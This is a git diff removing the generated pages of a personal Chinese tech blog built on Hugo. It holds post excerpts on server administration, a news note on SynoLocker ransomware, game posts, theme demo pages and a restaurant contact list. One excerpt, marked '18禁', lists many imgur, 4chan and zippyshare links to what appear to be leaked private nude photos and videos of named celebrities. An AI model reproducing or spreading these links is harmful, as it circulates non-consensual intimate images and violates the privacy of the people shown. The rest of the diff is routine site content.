208 S4137 品味軒40 台南市麻豆區苓子林16號0937-362155⁄06- 5700007 215 S4204 葉忠誠500 台南市善化區什乃里18-22號06-5837253 219 S4267 五花馬900 台南市新化區大智路(竹子腳)200號0918-804046 224 T1060 協和30 台南市新化區大新路18號06-5982783 211 S4173 好帝一926 台南市新市區大營里豐榮160號06-5994665 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    正夯的一些照片....18禁

    -
    - - - 2014-09-01 - - - - - - - - - 未分類 - - - - - -
    - - - (1)https://i.imgur.com/Y7HUX0v.png (2)https://i.imgur.com/xj8Emskl.jpg (3)https://i.imgur.com/dyxoGhY.jpg (4)http://imgur.com/7qZFkv8 (5)http://imgur.com/UwNeCNE (6)https://i.imgur.com/DrCSLfO.jpg (7)https://i.imgur.com/0FYuynM.jpg (8)https://i.imgur.com/wDjdwGM.jpg (9)https://i.imgur.com/gWF94YI.jpg (10)https://i.imgur.com/8KpcQyw.jpg (11)https://i.imgur.com/X3EVqlc.jpg (12)https://i.imgur.com/SJ77XYA.jpg (13)https://i.imgur.com/bOMtA4J.jpg (14)https://i.imgur.com/n6JUCi3.jpg (15)https://i.imgur.com/yjez7nq.jpg (16)http://i.4cdn.org/b/1409549810769.jpg (17)https://i.imgur.com/lv4xd3R.jpg (4chan is teasing everyone with this slow progress) Kaley Cuoco (1)https://i.imgur.com/5YTElcN.png (2)http://imgur.com/GAZvyyv (super duper not-fake at all pic) (2)http://i.4cdn.org/b/1409543949597.jpg *(a lot of people tell me it’s fake, but people got crazy when I took it down). (3)https://i.4cdn.org/b/1409542521585.webm (gif) Kate Upton: (1)https://i.imgur.com/uhfwYp5.jpg (2)https://i.imgur.com/A0x0LiL.png (3)http://i.4cdn.org/b/1409531789722.jpg (4) http://imgur.com/a/VVXGQ (Big Album, some random pics in there) (6)http://www26.zippyshare.com/v/85491038/file.html (Videos) (Kate talking in first video, mostly random stuff) (7)Kate Upton archive including videos Victoria Justice: (1)https://i. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [MV] Eagles Hotel California

    -
    - - - 2014-08-26 - - - - - - - - - 未分類 - - - - - -
    - - - … -http://www.youtube.com/watch?v=YVQ0THWq-kM -  -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/08/Hotel-California-Eagles-MP4-HD-720p.mp4"][/video] - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Nopam on FreeBSD 9.1 time freeze in vmware esxi 5.0

    -
    - - - 2014-08-20 - - - - - - - - - 未分類 - - - - - -
    - - - 今天早上USER反應不能發信,檢查MAIL SERVER正常 -跟著檢查Mail Gateway (NOPAM Themis),發現信件雖然都會收下來,但是不會往後丟到mail server去 -跟綠算運算的工程師聯絡之後,發現是VMWARE esxi 5.0的 BUG -如果vm guest是Freebsd的話,有可能會發生時間凍結的情況(機率有多高?我不知道,不過我這台nopam已經開機 598天才碰到) -因為時間不正確,造成信件不會往mail server送 -本來工程師是說重灌、重啟VM HOST、升級VM HOST這幾個選項 -不過因為這是PRODUCTION的環境,上面還有其他VM在跑,沒辦法這樣做 -只好說那重啟NOPAM試試看,不過翻了一下GOOGLE,發現在vmware KB裡面有提到解法 -Time counter stops in a virtual machine using HPET running on an ESXi 5.0 host (2021185) 照著下指令,就可以暫時解決時間不會動的問題 -可能要找時間MIGRATE到 VMWARE esxi 5.1 上去.. - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] Synology NAS 疑似被入侵,群暉真的要加加油啊..

    -
    - - - 2014-08-08 - - - - - - - - - 未分類 - - - - - -
    - - - 繼前陣子群暉NAS被拿來挖礦的問題之後 請參閱 http://forum.synology.com/enu/viewtopic.php?f=7&t=78993 -七月底八月初,群暉的NAS又出包了,這次是被駭客入侵後,把NAS上的檔案加密,並要求付出比特幣做為贖金(大概台幣 12000左右) -不然資料就會被保留在加密的狀態,無法使用。 -詳情請參閱: http://www.pcdiy.com.tw/webroot/article.php?art=544 -  -事情發生之後,群暉也發出了信件通知USER應該怎麼處理,信件內容如下 -  > ## Dear Synology users, > > We would like to inform you that a ransomware called “SynoLocker” is currently affecting some Synology NAS users. This ransomware locks down affected servers, encrypts users’ files, and demands a fee to regain access to the encrypted files. > > We have confirmed that the ransomware only affects Synology NAS servers running older versions of DiskStation Manager by exploiting a security vulnerability that was fixed and patched in December, 2013. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] PTT在線人數

    -
    - - - 2014-06-26 - - - - - - - - - 未分類 - - - - - -
    - - - 44444 -很久以前的截圖了,之前的BLOG有放,後來因為搬家、CRASH等等因素,這圖就不見了。 -剛剛在MARVEL版看到推文在討論常看到44這個數字,又想起來。 -本來在現在這個BLOG已經找不到那篇文章,連圖也不見了,幸好硬碟裡面還有留著,果然有習慣作備份真是個好習慣吶! -請看圖 BJ4 - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/棒球/page/1/index.html b/themes/public/categories/棒球/page/1/index.html deleted file mode 100644 index da7d1cee..00000000 --- a/themes/public/categories/棒球/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E6%A3%92%E7%90%83/ \ No newline at end of file diff --git a/themes/public/categories/瑪奇/index.html b/themes/public/categories/瑪奇/index.html deleted file mode 100644 index 56afc76a..00000000 --- a/themes/public/categories/瑪奇/index.html +++ /dev/null @@ -1,446 +0,0 @@ - - - - - - - - - - 瑪奇 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [瑪奇] NT $99的4G 娜歐隨身碟

    -
    - - - 2013-03-29 - - - - - - - - - 瑪奇 - - - - - -
    - - - 前幾天在PTT板上看到有鄉民介紹廠商在清之前的庫存,娜歐隨身碟一支只要 $99 ! -雖然沒有用到,不過還是順手就買了一支當作紀念!底下是簡單幾張圖片,這東西也不必寫什麼說明了吧.. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [瑪奇]累等終於也有破萬的一天!

    -
    - - - 2013-03-21 - - - - - - - - - 瑪奇 - - - - - -
    - - - 瑪奇開到現在應該是第八年了吧? -中間因為被盜帳號停了一年多快兩年,還是因為幽的關係又回來了。 -回來之後多了影任,練等速度比起以前快上非常多.. -總之..就是簡單做個紀念而已… -  - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/瑪奇/page/1/index.html b/themes/public/categories/瑪奇/page/1/index.html deleted file mode 100644 index 41a1ecdd..00000000 --- a/themes/public/categories/瑪奇/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E7%91%AA%E5%A5%87/ \ No newline at end of file diff --git a/themes/public/categories/筆記/index.html b/themes/public/categories/筆記/index.html deleted file mode 100644 index 467932e5..00000000 --- a/themes/public/categories/筆記/index.html +++ /dev/null @@ -1,811 +0,0 @@ - - - - - - - - - - 筆記 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/筆記/index.xml b/themes/public/categories/筆記/index.xml deleted file mode 100644 index 88160bd6..00000000 --- a/themes/public/categories/筆記/index.xml +++ /dev/null @@ -1,136 +0,0 @@ - - - - 筆記 on MC部落 - https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - Recent content in 筆記 on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/categories/雜念/page/1/index.html b/themes/public/categories/雜念/page/1/index.html deleted file mode 100644 index ebd18b51..00000000 --- a/themes/public/categories/雜念/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E9%9B%9C%E5%BF%B5/ \ No newline at end of file diff --git a/themes/public/code/index.html b/themes/public/code/index.html deleted file mode 100644 index 5c656454..00000000 --- a/themes/public/code/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - Codes | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/code/index.xml b/themes/public/code/index.xml deleted file mode 100644 index f6242217..00000000 --- a/themes/public/code/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Codes on My cool new Blog - https://h.cowbay.org/code/ - Recent content in Codes on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 09:31:27 +0100 - - - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/code/installing-bilberry-theme/index.html b/themes/public/code/installing-bilberry-theme/index.html deleted file mode 100644 index df07318f..00000000 --- a/themes/public/code/installing-bilberry-theme/index.html +++ /dev/null @@ -1,443 +0,0 @@ - - - - - - - - - - Installing Bilberry Theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Installing Bilberry Theme

    -
    - - - 2017-11-01 - - - - - - - - - Code - - Tutorials - - - - - - Lednerb - -
    - - -

    You will find all information to setup this theme with your hugo site -on the official
    Github Repository.

    - -

    - -

    If you want to install this theme, follow these steps:

    - -
      -
    • Install Hugo and create a new site:
    • -
    - -
    hugo new site my-new-blog
    -
    - -
      -
    • Switch to your theme folder and import the latest version of the Bilberry Theme
    • -
    - -
    cd my-new-blog/themes
    -git clone https://github.com/Lednerb/bilberry-hugo-theme.git
    -
    - -
      -
    • Copy the example content to your new site
    • -
    - -
    cp -r bilberry-hugo-theme/exampleSite/* ../
    -
    - -
      -
    • Test the installation
    • -
    - -
    cd ../
    -hugo server -D
    -
    - -
      -
    • Configure the config.toml file according to your needs
    • -
    • Start blogging
    • -
    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/code/page/1/index.html b/themes/public/code/page/1/index.html deleted file mode 100644 index 3b977908..00000000 --- a/themes/public/code/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/code/ \ No newline at end of file diff --git a/themes/public/de/404.html b/themes/public/de/404.html deleted file mode 100644 index 10668227..00000000 --- a/themes/public/de/404.html +++ /dev/null @@ -1,259 +0,0 @@ - - - - - - - - - - 404 Page not found | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    -
    - - - - -
    -
    -

    WOAH BUDDY!

    -

    -

    This is definitly not the page you're looking for...

    -

    An Error 404 occured. That means the page is not available.

    -

    Please select a category at the bottom or change over to the HOMEPAGE.

    -
    -
    -
    -
    - -
    - - -
    -
    - - -
    - Neuste Beiträge -
      - -
    -
    - - - - -
    - -
    - Social media - - - - - - - - - - - - - - - - - - -
    - - - -
    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/article/index.html b/themes/public/de/article/index.html deleted file mode 100644 index 233b4b83..00000000 --- a/themes/public/de/article/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - Articles | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Unterstützung und Diskussionen

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hallo zusammen!

    - -

    Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst.

    - -

    Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt.

    - -

    Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/article/index.xml b/themes/public/de/article/index.xml deleted file mode 100644 index 190a0e93..00000000 --- a/themes/public/de/article/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Articles on Mein cooler neuer Blog - https://h.cowbay.org/de/article/ - Recent content in Articles on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Unterstützung und Diskussionen - https://h.cowbay.org/de/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/de/article/support-and-discussions/ - Hallo zusammen! -Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst. -Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt. -Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal: - - - - \ No newline at end of file diff --git a/themes/public/de/article/page/1/index.html b/themes/public/de/article/page/1/index.html deleted file mode 100644 index f1a4b466..00000000 --- a/themes/public/de/article/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/article/ \ No newline at end of file diff --git a/themes/public/de/article/support-and-discussions/featuredImage.png b/themes/public/de/article/support-and-discussions/featuredImage.png deleted file mode 100644 index 564a95f2..00000000 Binary files a/themes/public/de/article/support-and-discussions/featuredImage.png and /dev/null differ diff --git a/themes/public/de/article/support-and-discussions/index.html b/themes/public/de/article/support-and-discussions/index.html deleted file mode 100644 index 52b18b9f..00000000 --- a/themes/public/de/article/support-and-discussions/index.html +++ /dev/null @@ -1,419 +0,0 @@ - - - - - - - - - - Unterstützung und Diskussionen | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    Unterstützung und Diskussionen

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hallo zusammen!

    - -

    Dieses Premium Theme ist unter einer Open Source Lizenz veröffentlicht worden, sodass du dieses für deinen Blog benutzen kannst.

    - -

    Bisher habe ich mehr als 75 Stunden Arbeitszeit investiert, um eins der besten Themes für Hugo zu erstellen, das es bisher für Hugo gibt.

    - -

    Wenn dir dieses Theme gefällt und du über alle neuen Erweiterungen und Funktionen informiert werden oder einfach Danke sagen möchtest, schau mal in unseren Discord Kanal:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/audio/index.html b/themes/public/de/audio/index.html deleted file mode 100644 index 6d9b4345..00000000 --- a/themes/public/de/audio/index.html +++ /dev/null @@ -1,402 +0,0 @@ - - - - - - - - - - Audios | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Musik - - - - - -
    - - - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/audio/index.xml b/themes/public/de/audio/index.xml deleted file mode 100644 index 0eee0d41..00000000 --- a/themes/public/de/audio/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Audios on Mein cooler neuer Blog - https://h.cowbay.org/de/audio/ - Recent content in Audios on Mein cooler neuer Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:12:47 +0100 - - - - - - Kilez More - New World Order - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/de/audio/kilez-more-new-world-order/ - Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden. -Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden. - - - - \ No newline at end of file diff --git a/themes/public/de/audio/kilez-more-new-world-order/index.html b/themes/public/de/audio/kilez-more-new-world-order/index.html deleted file mode 100644 index 4dee7f1a..00000000 --- a/themes/public/de/audio/kilez-more-new-world-order/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - Kilez More - New World Order | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Musik - - - - - -
    - - -

    Mit dem audio Post Type kann sehr einfach ein Spotify, SoundCloud, TuneIn oder Mixcloud Player integriert werden.

    - -

    Falls kein Player integriert werden soll, kann optional ein Titelbild mit Hilfe der featuredImage Option in der Markdown Datei verwendet werden.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/audio/page/1/index.html b/themes/public/de/audio/page/1/index.html deleted file mode 100644 index 1c268185..00000000 --- a/themes/public/de/audio/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/de/audio/ \ No newline at end of file diff --git a/themes/public/de/author/albert-einstein/index.html b/themes/public/de/author/albert-einstein/index.html deleted file mode 100644 index 364bf489..00000000 --- a/themes/public/de/author/albert-einstein/index.html +++ /dev/null @@ -1,337 +0,0 @@ - - - - - - - - - - Albert Einstein | Mein cooler neuer Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    Mein cooler neuer Blog

    - - Hallo Welt! Dies ist der epischste Untertitel aller Zeiten. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - -
    -

    Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller.

    - - Albert Einstein -
    -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/de/author/albert-einstein/index.xml b/themes/public/de/author/albert-einstein/index.xml deleted file mode 100644 index 09ec5ffd..00000000 --- a/themes/public/de/author/albert-einstein/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Albert Einstein on Mein cooler neuer Blog - https://h.cowbay.org/de/author/albert-einstein/ - Recent content in Albert Einstein on Mein cooler neuer Blog - Hugo -- gohugo.io - Fri, 01 Dec 2017 14:40:32 +0100 - - - - - - Albert Einstein - Sinn Des Lebens - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Fri, 01 Dec 2017 14:40:32 +0100 - - https://h.cowbay.org/de/quote/einstein-sinn-des-lebens/ - Der Sinn des Lebens besteht nicht darin ein erfolgreicher Mensch zu sein, sondern ein wertvoller. - - - - \ No newline at end of file diff --git a/themes/public/de/author/albert-einstein/page/1/index.html b/themes/public/de/author/albert-einstein/page/1/index.html deleted file mode 100644 index 6cc56004..00000000 --- 